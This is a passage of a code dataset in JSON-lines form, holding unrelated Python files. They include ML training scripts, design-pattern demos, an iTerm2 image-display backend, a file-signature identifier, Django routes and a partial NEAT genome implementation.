subtree.print_nodes()\n\n            self.nodes = np.append(self.nodes, subtree.nodes)\n            if(b is True):\n                self.nodes[parent_id].b = subtree.root\n            else:\n                self.nodes[parent_id].c = subtree.root\n\n            self.nodes[subtree.root].weight = subtree.score\n            self.nodes[subtree.root].a = parent.id\n            print(\"Remember to remove coefficient\")\n            self.coefficients = np.append(self.coefficients,\n                                          subtree.coefficients)\n            self.variables = np.append(self.variables,\n                                       subtree.variables)\n            grafted = True\n        else:\n            if(self.verbose):\n                print(\"Cannot graft subtree in this node : \", inode)\n        return grafted\n","sub_path":"submissions/formulas/FormulaTree.py","file_name":"FormulaTree.py","file_ext":"py","file_size_in_byte":12731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"518610857","text":"from detection.handlers.mat_handler import MAT_Handler\n\nif __name__ == '__main__':\n    dataset_dir = 'C:\\\\Users\\\\emmanouil.vasilopoul\\\\Documents\\\\i-SENSE\\\\Effector\\\\Datasets\\\\Detection\\\\Singapore Maritime - Near Infrared'\n\n    mh = MAT_Handler(dataset_dir)\n\n    mat_file = 'ObjectGT/MVI_0895_NIR_Haze_ObjectGT.mat'\n    mh.read_mat(mat_file)\n\n    mh.investigate()","sub_path":"object_detection_dataset/study/singapore_maritime/near_infrared/check_object_mat.py","file_name":"check_object_mat.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"450519550","text":"class MySingleton:\n    _instance = None\n\n    @staticmethod\n    def get_instance():\n        if MySingleton._instance is None:\n            MySingleton._instance = MySingleton()\n        return MySingleton._instance\n\n    def __init__(self):\n        if MySingleton._instance is not None:\n            raise Exception(\"can not create another instance\")\n        MySingleton._instance = self\n\n\nx = MySingleton()\ny = MySingleton.get_instance()\nz = MySingleton.get_instance()\n\nprint(x)\nprint(y)\nprint(z)\n\n# NOTE: Logger classes are examples of singleton pattern\n# NOTE: in the cloud design pattern world we would need a persistent storage to achieve this\n# explore if we can make it thread safe\n\n\nimport threading\n\n\nclass EventBus(object):\n    _instance = None\n    _lock = threading.Lock()\n\n    def __new__(cls):\n        if EventBus._instance is None:\n            with EventBus._lock:\n                if EventBus._instance is None:\n                    EventBus._instance = super(EventBus, cls).__new__(cls)\n        return EventBus._instance\n\n    def __init__(self):\n        self.clients = []\n","sub_path":"Design Patterns/singleton.py","file_name":"singleton.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"210796519","text":"from util import dotdict, repeat_last\nfrom tensorboardX import SummaryWriter\nfrom pathlib import Path\nimport torch\nimport json\no = dict(\n    adjacent_num=2,\n    save_if_epoch_divisible_by=10,\n    model=\"sivsr\",\n    run=\"test\",\n    train_set=\"videvo_edsr_train\",\n    test_set=\"vid4_edsr_test\",\n    batch_size=4,\n    # internal batch size\n    batch_size_=4,\n    num_workers=0,\n    epoch=200,\n    lr=1e-3,\n    # lr*=0.1 when epoch in milestones, start from 0\n    milestones=[100,180],\n    # sigma for train\n    sigma=25,\n    sigma_range=False,\n    sigma_test=25,\n    patch_size=480,\n    ## model\n\n    channel=64,\n    kernel_size=3,\n    ## extra\n    save_image=False,\n    random_seed=0,\n    # 0: for loop, 1: tensor boardcast in train for loop in test, 2:tensor\n    mem_capacity=1,\n    # \"last\": greedy train, init current(n) stage using n-1 stage\n    # \"load\": greedy train, init current(n) stage from load, for continue training\n    # other: default random init\n    init_from=\"none\",\n    model_checkpoint=False,\n    stage_checkpoint=False,\n    load=\"save/sivsr_e034.tar\",\n    save=\"save/sivsr.tar\",\n    \n)\n\no = dotdict(o)\nc = o.test_set + \"_\" + Path(o.load).stem if o.run == \"test\" else Path(o.save).stem\n\nw = SummaryWriter(comment=c)\n\no.device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\no.device_count = torch.cuda.device_count()\nw.add_text(\"config\", json.dumps(o))\n\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"429706485","text":"import numpy as np\nfrom sklearn import svm\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.externals import joblib\nimport logging\n#进行文本训练，并把训练模型保存到本地\ndef training():\n    logging.info('******把文本存到X[[][][]...]中')\n    dir = {'baby': 129, 'car': 410, 'food': 409, 'health': 406, 'legend': 396, 'life': 409, 'love': 158, 'news': 409,\n           'science': 409, 'sexual': 38}\n    data_file_number = 0\n    x = []\n    for world_data_name, world_data_number in dir.items():  # 遍历返回键值 给word_data_name和word_data_number\n        class_content = []\n        text_content = ''\n        while (data_file_number < world_data_number):\n            trained_file = open('D:\\\\Program Files\\\\JetBrains\\\\py_workspaces\\\\classification\\\\result\\\\' + world_data_name + '\\\\' + str(world_data_number) + '.txt', mode='r',\n                                encoding='utf-8')\n            for line in trained_file:\n                text_content += trained_file.readline()\n            trained_file.close()\n            data_file_number = data_file_number + 1\n        class_content.append(text_content)\n        x.insert(0, class_content)  # 插在前面，设置lable时要反过来\n        data_file_number = 0\n\n    logging.info('******tf-idf转换文本******')\n    x = np.array(x)\n    vectorizer = TfidfVectorizer()  # 将原始文档集合转换为TF-IDF特征矩阵。\n    vectorizer.max_features = 26\n    x = vectorizer.fit_transform(x.ravel())\n    logging.info('输出要进行训练的矩阵X的X.Shape')\n    print(x.shape)\n\n    logging.info('******SVM---训练模型******')\n    y = ['sexual', 'science', 'news', 'love', 'life', 'legend', 'health', 'food', 'car', 'baby']\n    clf = svm.SVC(decision_function_shape='ovr', gamma='scale', probability=True)\n    clf.fit(x, y)\n    # 把训练结果保存到本地\n    joblib.dump(clf, 'train_module')\ntraining()","sub_path":"domain_classification/classify_dataFit.py","file_name":"classify_dataFit.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"403626719","text":"import pandas as pd\nimport time\nimport numpy as np\nimport pickle\nimport h2o\nfrom sklearn.metrics import roc_auc_score\nfrom h2o.estimators.random_forest import H2ORandomForestEstimator\nfrom h2o.estimators.gbm import H2OGradientBoostingEstimator\nfrom h2o.estimators.deeplearning import H2ODeepLearningEstimator\nfrom h2o.estimators.glm import H2OGeneralizedLinearEstimator\nfrom me import *\n\n\nsince = time.time()\nh2o.init(nthreads=-1)\n\ndata_dir = '../data/'\nsave_dir = '../saves/'\nread_from = save_dir\nload_name = 'train_best.csv'\n\ndf = read_df(read_from, load_name)\nshow_df(df)\ntrain_df, val_df = div_df(df)\nscore = []\n\n\ntrain_hf = h2o.H2OFrame(train_df)\ndel train_df\nval_hf = h2o.H2OFrame(val_df)\ndel val_df\n\nfeatures = list(train_hf.columns)\nfeatures.remove('target')\n\n# gbm\ngbm_default = H2OGradientBoostingEstimator(\n    model_id='gbm_default',\n    seed=1234\n)\n\ngbm_default.train(x=features,\n                  y='target',\n                  training_frame=train_hf)\n\nauc(gbm_default, val_hf, 'target')\n\n# manual\ngbm_manual = H2OGradientBoostingEstimator(\n    model_id='gbm_manual',\n    seed=1234,\n    ntrees=100,\n    sample_rate=0.9,\n    col_sample_rate=0.9\n)\n\n\ngbm_manual.train(x=features,\n                 y='target',\n                 training_frame=train_hf)\n\nauc(gbm_manual, val_hf, 'target')\n\n# cv\ngbm_manual_cv = H2OGradientBoostingEstimator(\n    model_id='gbm_manual_cv',\n    seed=1234,\n    ntrees=100,\n    sample_rate=0.9,\n    col_sample_rate=0.9,\n    nfolds=5\n)\n\ngbm_manual_cv.train(x=features,\n                    y='target',\n                    training_frame=train_hf)\n\nauc(gbm_manual_cv, val_hf, 'target')\n\n# early stop\ngbm_manual_cv_es = H2OGradientBoostingEstimator(\n    model_id = 'gbm_manual_cv_es',\n    seed = 1234,\n    ntrees = 10000,   # increase the number of trees\n    sample_rate = 0.9,\n    col_sample_rate = 0.9,\n    nfolds = 5,\n    stopping_metric = 'mse', # let early stopping feature determine\n    stopping_rounds = 15,     # the optimal number of trees\n    score_tree_interval = 1\n) # by looking at the MSE metric\n# Use .train() to build the model\n\ngbm_manual_cv_es.train(x = features,\n                       y = 'target',\n                       training_frame = train_hf)\n\nauc(gbm_manual_cv_es, val_hf, 'target')\n\n# grid search\nfrom h2o.grid.grid_search import H2OGridSearch\nsearch_criteria = {'strategy': \"Cartesian\"}\nhyper_params = {'sample_rate': [0.7, 0.8, 0.9],\n                'col_sample_rate': [0.7, 0.8, 0.9]}\n\ngbm_full_grid = H2OGridSearch(\n    H2OGradientBoostingEstimator(\n        model_id = 'gbm_full_grid',\n        seed = 1234,\n        ntrees = 10000,\n        nfolds = 5,\n        stopping_metric = 'mse',\n        stopping_rounds = 15,\n        score_tree_interval = 1\n    ),\n    search_criteria = search_criteria, # full grid search\n    hyper_params = hyper_params\n)\n\ngbm_full_grid.train(x = features,\n                    y = 'target',\n                    training_frame = train_hf)\n\ngbm_full_grid_sorted = gbm_full_grid.get_grid(sort_by='mse', decreasing=False)\nprint(gbm_full_grid_sorted)\n\nbest_model_id = gbm_full_grid_sorted.model_ids[0]\nbest_gbm_from_full_grid = h2o.get_model(best_model_id)\nprint(best_gbm_from_full_grid.summary())\n\nauc(best_gbm_from_full_grid, val_hf, 'target')\n\n# all + random grid search\nsearch_criteria = {'strategy': \"RandomDiscrete\",\n                   'max_models': 9,\n                   'seed': 1234}\nhyper_params = {'sample_rate': [0.7, 0.8, 0.9],\n                'col_sample_rate': [0.7, 0.8, 0.9],\n                'max_depth': [3, 5, 7]}\n\ngbm_rand_grid = H2OGridSearch(\n                    H2OGradientBoostingEstimator(\n                        model_id = 'gbm_rand_grid',\n                        seed = 1234,\n                        ntrees = 10000,\n                        nfolds = 5,\n                        stopping_metric = 'mse',\n                        stopping_rounds = 15,\n                        score_tree_interval = 1),\n                    search_criteria = search_criteria, # full grid search\n                    hyper_params = hyper_params)\n\ngbm_rand_grid.train(x = features,\n                    y = 'target',\n                    training_frame = train_hf)\n\ngbm_rand_grid_sorted = gbm_rand_grid.get_grid(sort_by='mse', decreasing=False)\nprint(gbm_rand_grid_sorted)\n\nbest_model_id = gbm_rand_grid_sorted.model_ids[0]\nbest_gbm_from_rand_grid = h2o.get_model(best_model_id)\nprint(best_gbm_from_rand_grid.summary())\n\nauc(best_gbm_from_rand_grid, val_hf, 'target')\n\nfor i in score:\n    print('ACU:', i)\n\n\nprint()\ntime_elapsed = time.time() - since\nprint('[timer]: complete in {:.0f}m {:.0f}s'.format(\n    time_elapsed // 60, time_elapsed % 60))\n'''AUC: 0.643960779141\ngbm Model Build progress: |███████████████████████████████████████████████| 100%\ngbm prediction progress: |████████████████████████████████████████████████| 100%\nAUC: 0.647128195228\ngbm Model Build progress: |███████████████████████████████████████████████| 100%\ngbm prediction progress: |████████████████████████████████████████████████| 100%\nAUC: 0.647128195228\ngbm Model Build progress: |███████████████████████████████████████████████| 100%\ngbm prediction progress: |████████████████████████████████████████████████| 100%\nAUC: 0.647128195228\ngbm Grid Build progress: |█ (cancelled)\nH2O session _sid_bbc7 closed.'''","sub_path":"kaggle_song_git/h2o/reportAAAA/train_some_gbm_V1002.py","file_name":"train_some_gbm_V1002.py","file_ext":"py","file_size_in_byte":5841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"205558714","text":"\"\"\"\niTerm2 backend for imgcat.\n\"\"\"\nimport base64\nimport io\nimport os\n\nTMUX_WRAP_ST = b'\\033Ptmux;'\nTMUX_WRAP_ED = b'\\033\\\\'\n\nOSC = b'\\033]'\nCSI = b'\\033['\nST = b'\\a'  # \\a = ^G (bell)\nMAX_TMUX_BUF_SIZE = 41_000\n\n\ndef _resize_to_len(buf, max_size):\n    # Load PIL only if it is mandatory\n    import PIL.Image\n\n    # Short path: buffer is small enough\n    if len(buf) < max_size:\n        return buf\n\n    im = PIL.Image.open(io.BytesIO(buf)).convert(\"RGB\")\n\n    # Is compressing to JPEG enough?\n    buf = io.BytesIO()\n    im.save(buf, format='jpeg')\n    buf = buf.getvalue()\n    if len(buf) < max_size:\n        return buf\n\n    # Let's decrease progressively the size of the image\n    size = 512\n    while True:\n        if len(buf) < max_size:\n            return buf\n        im.thumbnail((size, size))\n        buf = io.BytesIO()\n        im.save(buf, format='jpeg')\n        buf = buf.getvalue()\n        size = (size * 3) // 4\n\n\ndef _write_image(buf, fp,\n                 filename, width, height, preserve_aspect_ratio):\n    # need to detect tmux\n    is_tmux = 'TMUX' in os.environ and 'tmux' in os.environ['TMUX']\n\n    # tmux: print some margin and the DCS escape sequence for passthrough\n    # In tmux mode, we need to first determine the number of actual lines\n    if is_tmux:\n        buf = _resize_to_len(buf, MAX_TMUX_BUF_SIZE)\n        fp.write(b'\\n' * height)\n        # move the cursers back\n        fp.write(CSI + b'?25l')\n        fp.write(CSI + str(height).encode() + b\"F\")  # PEP-461\n        fp.write(TMUX_WRAP_ST + b'\\033')\n\n    # now starts the iTerm2 file transfer protocol.\n    fp.write(OSC)\n    fp.write(b'1337;File=inline=1')\n    fp.write(b';size=' + str(len(buf)).encode())\n    if filename:\n        if isinstance(filename, bytes):\n            filename_bytes = filename\n        else:\n            filename_bytes = filename.encode()\n        fp.write(b';name=' + base64.b64encode(filename_bytes))\n    fp.write(b';height=' + str(height).encode())\n    if width:\n        fp.write(b';width=' + str(width).encode())\n    if not preserve_aspect_ratio:\n        fp.write(b';preserveAspectRatio=0')\n    fp.write(b':')\n    fp.flush()\n\n    buf_base64 = base64.b64encode(buf)\n    fp.write(buf_base64)\n\n    fp.write(ST)\n\n    if is_tmux:\n        # terminate DCS passthrough mode\n        fp.write(TMUX_WRAP_ED)\n        # move back the cursor lines down\n        fp.write(CSI + str(height).encode() + b\"E\")\n        fp.write(CSI + b'?25h')\n    else:\n        fp.write(b'\\n')\n\n    # flush is needed so that the cursor control sequence can take effect\n    fp.flush()\n","sub_path":"imgcat/iterm2.py","file_name":"iterm2.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"96617294","text":"#Imports the urllib3 and json libraries, which handle the communication between client and server \r\nimport urllib3\r\nimport json \r\n\r\nhttp = urllib3.PoolManager()\r\ntemp = 25 #Example data value for testing\r\ndata = {'Temperature':temp} #Contains the data received from the sensor\r\npage = http.request('POST','https://ismyhouseonfire.net/',body=json.dumps(data)) #URL is the project one\r\n#Function to test the status code of the website\r\ndef statusCode():\r\n    '''\r\n    Imports the data from the sensors and stores it in a list.\r\n    '''\r\n    print('Status code:',page.status) #Prints the status code of the webpage\r\n#Function to send the received data from the sensor        \r\ndef sendData():\r\n    '''\r\n    Sends the collected data from the client to the server.\r\n    '''\r\n    page.data #Uses the data method to send the data to the website\r\n    \r\n","sub_path":"DataHandling/Request_handling.py","file_name":"Request_handling.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"581790612","text":"from utils import color\nimport struct\n\nclass Texture(object):\n    def __init__(self, path):\n        self.path = path\n        self.pixels = []\n        self.read()\n    \n    def read(self):\n        with open(self.path, 'rb') as image:\n            image.seek(10)\n            headerSize = struct.unpack('=l', image.read(4))[0]\n            image.seek(18)\n            self.width = struct.unpack('=l', image.read(4))[0]\n            self.height = struct.unpack('=l', image.read(4))[0]\n            image.seek(headerSize)\n            \n            for y in range(self.height):\n                self.pixels.append([])\n                for x in range(self.width):\n                    b = ord(image.read(1))\n                    g = ord(image.read(1))\n                    r = ord(image.read(1))\n                    self.pixels[y].append(color(r, g, b))\n        \n    def getColor(self, tx, ty):\n        return self.pixels[int(ty * self.height)][int(tx * self.width)]","sub_path":"Texture.py","file_name":"Texture.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"572337257","text":"\"\"\"\nExample from https://pymotw.com/2/gc/index.html\ntranslated to Python3\n\"\"\"\n\nimport gc\nimport pprint\n\nclass Graph:\n    def __init__(self, name):\n        self.name = name\n        self.next = None\n    def set_next(self, next):\n        print('Linking nodes {0}.next = {1}'.format(str(self), str(next)))\n        self.next = next\n    def __repr__(self):\n        return '{0}({1})'.format(str(self.__class__.__name__), self.name)\n    #def __str__(self):\n    #    return '{0}({1})'.format(str(self.__class__.__name__), self.name)\n\n# Construct a graph cycle\none = Graph('one')\ntwo = Graph('two')\nthree = Graph('three')\none.set_next(two)\ntwo.set_next(three)\nthree.set_next(one)\nprint('')\nprint('three refers to:')\nfor r in gc.get_referents(three):\n    pp = pprint.PrettyPrinter()\n    pp.pprint(r)\n","sub_path":"Advanced/gc_get_referents.py","file_name":"gc_get_referents.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"286114171","text":"#/usr/bin/python3\nimport argparse\nfrom utilities.colors import color\nfrom utilities.tools import clear\nfrom signatures import signature\n\ndef extractSignature(filename):\n    try:\n        with open(filename,'rb') as f:\n            content = f.read(24)\n    except FileNotFoundError:\n        print('{}[-] File not found!\\n{}[!]{} Please ensure that the filename along with the path is typed correctly'.format(color.RED,color.YELLOW,color.END))\n        quit()\n    hexa = ''.join([hex(x) for x in content])\n    hexa = hexa.replace('0x',' ').strip()\n    sig=''\n    for h in hexa.split(' '):\n        if len(h)==1:\n            sig+='0'+h+' '\n        else:\n            sig+=h+' '\n    return sig\n\n\ndef identify(filename):\n\n    Signature = extractSignature(filename)\n\n    Filename = filename.replace('\\\\','/').split('/')[-1]\n    Extension = Filename.split('.')[-1] if len(Filename.split('.')) > 1 else 'No extension identified'\n    print('{}[+]{} Extension identified for filename {}{}{} = {}{}{}'.format(color.BLUE,color.END,color.YELLOW,Filename,color.END,color.GREEN,Extension,color.END))\n\n    for sig in signature.sigs.values():\n        for head in sig:\n            if Signature.startswith(head.lower()):\n                ext = [key for key,val in signature.sigs.items() if head in val]\n                print('{}[+]{} Identified possible file type as : {}{}{}'.format(color.GREEN,color.END,color.YELLOW,*ext,color.END))\n                print('{}[!]{} Identified signature = {}{}{} '.format(color.GREEN,color.END,color.YELLOW,head,color.END))\n\n                if Extension in ext[0]:\n                    print('{}[!]{} Identified type {}{} {}matches{} with the file extension {}{}{}'.format(color.BLUE,color.END,color.YELLOW,*ext,color.ORANGE,color.END,color.YELLOW,Extension,color.END))\n                else:\n                    print('{}[!]{} Identified type {}{} {}does not match{} with the file extension {}{}{}'.format(color.BLUE,color.END,color.YELLOW,*ext,color.ORANGE,color.END,color.YELLOW,Extension,color.END))\n                    print('{}[*]{} Consider changing file type to identified {}{}{} format'.format(color.BLUE,color.END,color.ORANGE,*ext,color.END))\n                quit()\n    print('{}[-]{} No possible known filetype identified {}(can be TXT/Plain){}'.format(color.RED,color.END,color.ORANGE,color.END))\n    print('{}[!]{} File header/ signature = {}{}{} '.format(color.GREEN,color.END,color.YELLOW,head,color.END))\n\n\ndef main():\n    try:\n        clear()\n        \n        # script description\n        parser = argparse.ArgumentParser(description='File type detection tool')\n        parser.add_argument('-f','--file', help='The file to identify')\n        args = parser.parse_args() \n\n        # parsing command line argumets (provided the necvessary ones are given)\n        if args.file:\n            filename = args.file\n            identify(filename)\n        # if no arguments are provided except for positional (TEXT)\n        else:\n            filename = input('{}[?]{} Enter the filename: '.format(color.BLUE,color.END))\n            identify(filename)\n\n    except KeyboardInterrupt:\n        print('\\n{}[!] Exiting...{}'.format(color.RED,color.END))\n        quit()\n\nif __name__ == '__main__':\n    main()\n","sub_path":"file-id.py","file_name":"file-id.py","file_ext":"py","file_size_in_byte":3217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"174722885","text":"from typing import Dict\nfrom typing import Generator\nfrom decoradores import timefn\nfrom functools import lru_cache\n\nnemo: Dict[int, int] = {0: 0, 1: 1}\n\n\n@timefn\ndef fibonacci_2(n: int) -> int:\n    # using the recursive approach\n    if n < 2:\n        return n\n    return fibonacci_2(n - 2) + fibonacci_2(n - 1)\n\n\n@timefn\ndef fibonacci_3(n: int) -> int:\n    # using the recursive approach with memoization\n    if n not in nemo:\n        nemo[n] = fibonacci_3(n - 1) + fibonacci_3(n - 2)\n    return nemo[n]\n\n\n@timefn\n@lru_cache(maxsize=None)\ndef fibonacci_4(n: int) -> int:\n    # using lru_cache for the auto-magically memoization\n    if n < 2:\n        return n\n    return fibonacci_4(n - 2) + fibonacci_4(n - 1)\n\n\n@timefn\ndef fibonacci_5(n: int) -> int:\n    # iterative approach\n    if n == 0: return n\n    last: int = 0\n    next: int = 1\n    for _ in range(1, n):\n        last, next = next, last + next\n    return next\n\n\n@timefn\ndef fibonacci_6(n: int) -> Generator[int, None, None]:\n    # using the yield instead of return\n    yield 0  # special case\n    if n > 0: yield 1  # special case\n    last: int = 0\n    next: int = 1\n    for _ in range(1, n):\n        last, next = next, last + next\n        yield next\n\n\nif __name__ == \"__main__\":\n    print(fibonacci_2(5))\n    print(fibonacci_3(5))\n    print(fibonacci_4(5))\n    print(fibonacci_5(5))\n    print(\"using the yield function\")\n    for i in fibonacci_6(5):\n        print(i)\n","sub_path":"01-fibonacci-sequence.py","file_name":"01-fibonacci-sequence.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"334754891","text":"import time\nimport threading\nimport queue\n\n\nclass PrintDevice:\n\n    @staticmethod\n    def device_meta():\n        device = {}\n        device['meta_name'] = 'PrintDevice'\n        device['name'] = 'Display name for PrintDevice'\n        return device\n\n    def monitor(self):\n        while self.running:\n            print(\"PrintDevice {} Running\".format(self.name))\n            time.sleep(1)\n\n    def event(self):\n        while self.running:\n            try:\n                data = self.in_queue.get(timeout=5)\n                print('Received data: {}'.format(data))\n            except queue.Empty:\n                pass\n\n    def run(self):\n        self.monitor_thread = threading.Thread(target=self.monitor)\n        self.event_thread = threading.Thread(target=self.event)\n        self.monitor_thread.start()\n        self.event_thread.start()\n        self.monitor_thread.join()\n        self.event_thread.join()\n\n    def stop(self):\n        print(\"Stopped called\")\n        self.running = False\n\n    def __init__(self, name, in_queue, out_queue, device_args):\n        self.name = name\n        self.in_queue = in_queue\n        self.out_queue = out_queue\n        self.monitor_thread = None\n        self.event_thread = None\n        self.device_args = device_args\n        self.running = True\n","sub_path":"src/devices/PrintDevice.py","file_name":"PrintDevice.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"548825851","text":"from app_masters import views\nfrom django.conf.urls import url, include\nfrom rest_framework import routers\nfrom django.urls import path\n\nurlpatterns = [\n    path('upload_coverpic/',views.CoverPicsUpload.as_view()),\n    path('org_app_master/<user_id>/',views.OrgAppMasterListView.as_view()),\n    path('edit_org_app_master/<pk>/',views.EditOrgAppMasterView.as_view()),\n\n    path('edit_org_app_mappings/<pk>/',views.EditOrgAppMappingsView.as_view()),\n    path('edit_step1_app_master/<pk>/',views.EditStep1OrgAppMasterView.as_view()),\n\n    path('edit_owner_info/<pk>/', views.EditOwnerInfoAppMasterView.as_view()),\n\n    path('edit_org_app_mappings/<appmaster_id>/',views.EditOrgAppMappingsView.as_view()),\n    path('add_app_visiting_count/<pk>/',views.AddAppVisitingCountView.as_view()),\n    path('most_viewed_app/',views.MostViewedAppReadView.as_view()),\n    path('search_app/',views.SearchAppReadView.as_view()),\n    path('update_usiness_url/<pk>/',views.UpdateBusinessUrlView.as_view()),\n    path('app_all_details/<pk>/',views.AppAllDetailsByIdReadView.as_view()),\n    path('insert_org_app_url/<pk>/',views.EditBusinessUrlView.as_view()),\n    path('upload_multiple_imgs/',views.MultipleImgUploadView.as_view()),\n\n    path('edit_applogo_&_appname/<pk>/',views.EditAppLogoAndNameView.as_view()),\n\n    path('edit_applogo/<pk>/',views.EditAppLogoView.as_view()),\n    path('edit_ownerlogo/<pk>/',views.EditOwnerLogoView.as_view()),\n    path('delete_create_business_images/',views.DeleteCreateBusinessLogoView.as_view()),\n\n    path('delete_app_image/<pk>/',views.DeleteAppImageDelView.as_view()),\n    path('app_paid_confirmed/<pk>/',views.AppPaidConfirmedView.as_view()),\n    path('most_rated_apps/',views.MostRatedAppListView.as_view()),\n    path('app_product_details/<pk>/',views.AppProductDetailsReadView.as_view()),\n    path('dashboard_app_list/',views.DashBoardAppDetailsListReadView.as_view()),\n    path('org_update_app_master_is_product_service/<pk>/',views.UpdateIsProductService.as_view()),\n\n    path('add_new-app/',views.NewAppCreateView.as_view()),\n    path('app_business_images/<appmaster_id>/',views.AppAllBusinessImgListView.as_view()),\n    path('app_about_details/<pk>/',views.GetAppAboutDetails.as_view()),\n    path('app_min_details/<pk>/',views.GetAppMinDetails.as_view()),\n    path('app_contact_details/<pk>/',views.GetAppContactDetails.as_view()),\n\n    path('check_referral_code/',views.CheckReferralCodeView.as_view()),\n\n    path('app_concise_details/<pk>/',views.AppDetailsById.as_view()),#app small details with product count (14/11/2018 04:05pm)\n\n    path('most_rated_apps_by_category/',views.MostRatedAppByCategoryListView.as_view()),#rating waise get app and group by category  (17/11/2018 04:05pm)\n\n    path('category_wise_app_list/',views.CategoryWiseAppList.as_view()),\n\n    # path('app_list_by_category/<category_id>/',views.SearchAppByCategory.as_view())\n\n]","sub_path":"app_masters/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"325079554","text":"from django.shortcuts import render\nfrom .models import Phone\nimport operator\n\ndef show_catalog(request):\n    # print()\n    sort = request.GET.get('sort')\n    # phones = Phone.objects.all()\n\n\n\n    try:\n        phones = Phone.objects.order_by(sort)\n    except:\n        phones = Phone.objects.all()\n    #\n    # print(phones)\n    # print(auths)\n\n    context = {\n        'phones': phones\n    }\n\n    return render(\n        request,\n        'catalog.html',\n        context\n    )\n\n\ndef show_product(request, slug):\n    return render(\n        request,\n        'product.html',\n    )\n","sub_path":"databases/work_with_database_2/phones/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"281579227","text":"import logging\n\n\ndef plot_attn_terminal(src, pred, weights):\n    \"\"\"\n\n    :param src: list\n    :param pred: list\n    :param weights: numpy array dim==2. It should be a square matrix, axis 0  corresponding to pred\n    :return:\n    \"\"\"\n    no_steps = 10\n    no_samples = 3\n    for i in range(min(no_steps, len(src))):\n        indices = weights[i].argsort()[-no_samples:]\n        logging.info('Top 3 words influencing for predicted word %s: %s', pred[i],\n                     [src[idx] if idx < len(src) else 'PADDING' for idx in indices])\n","sub_path":"source/main/utils/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"162504381","text":"import sys\nimport random\nimport copy\n\n# NodeGene: used to represent the node of the neural net, has an id and a type\n# type 0 = input\n# type 1 = hiden\n# type 2 = output\n\n\nclass NodeGene:\n    def __init__(self, type):\n        self.__type = type\n\n    def getType(self):\n        return self.__type\n\n    def setType(self, type):\n        self.__type = type\n\n# ConnectionGene: used to represent the connection between nodes\n\n\nclass ConnectionGene:\n    def __init__(self, input, output, weight):\n        self.__input = input\n        self.__output = output\n        self.__weight = weight\n        self.__expressed = True\n\n    def getInput(self):\n        return self.__input\n\n    def getOutput(self):\n        return self.__output\n\n    def getWeight(self):\n        return self.__weight\n\n    def setWeight(self, weight):\n        self.__weight = weight\n\n    def enable(self):\n        self.__expressed = True\n\n    def disable(self):\n        self.__expressed = False\n\n    def isExpressed(self):\n        return self.__expressed\n\n# Genome: used to represent the genome of an indivdual in a population\n\n\nclass Genome:\n    def __init__(self):\n        self.__nodeGene_list = []\n        self.__connectionGene_dict = {}\n\n    def addNodeGene(self, nodeGene):\n        self.__nodeGene_list.append(copy.deepcopy(nodeGene))\n\n    def addConnectionGene(self, connectionGene, innovation):  # the innovation is of the form \"1_2\" where 1 is in and 2 is out\n        if (innovation in self.__connectionGene_dict):\n            sys.exit(\"Innovation already present in genome\\n\")\n        self.__connectionGene_dict[innovation] = copy.deepcopy(connectionGene)\n\n    def getNodeGenesList(self):\n        return copy.deepcopy(self.__nodeGene_list)\n\n    def getConnectionGenesDict(self):\n        return copy.deepcopy(self.__connectionGene_dict)\n\n\n# function for crossing over two genomes, the first parent is assumed to have higher fitness\ndef crossover(genome1, genome2, weight_mutation_rate, weight_change_rate, node_mutation_rate, connection_mutation_rate,\n              disable_rate, min_perturb, max_perturb, min_weight, max_weight):\n    random.seed()\n    newGenome = Genome()\n\n    # add all the node genes from the parent with the higher fitness\n    nodesGenome = genome1.getNodeGenesList()\n    for node in nodesGenome:\n        newGenome.addNodeGene(node)\n\n    connectionsGenome1 = genome1.getConnectionGenesDict()\n    connectionsGenome2 = genome2.getConnectionGenesDict()\n    for i in connectionsGenome1:\n        if (i in connectionsGenome2):\n            # choosing a random gene from either of the parents\n            prob = random.randint(1, 2)\n            if (prob == 1):\n                conGene = connectionsGenome1[i]\n            else:\n                conGene = connectionsGenome2[i]\n        else:\n            # choose the gene from the highest fitness parent\n            conGene = connectionsGenome1[i]\n\n        # mutating the weight (replacing it or perturbing it)\n        prob = random.random()\n        if (prob <= weight_mutation_rate):\n            prob = random.random()\n            if (prob <= weight_change_rate):\n                conGene.setWeight(random.uniform(min_weight, max_weight))\n            else:\n                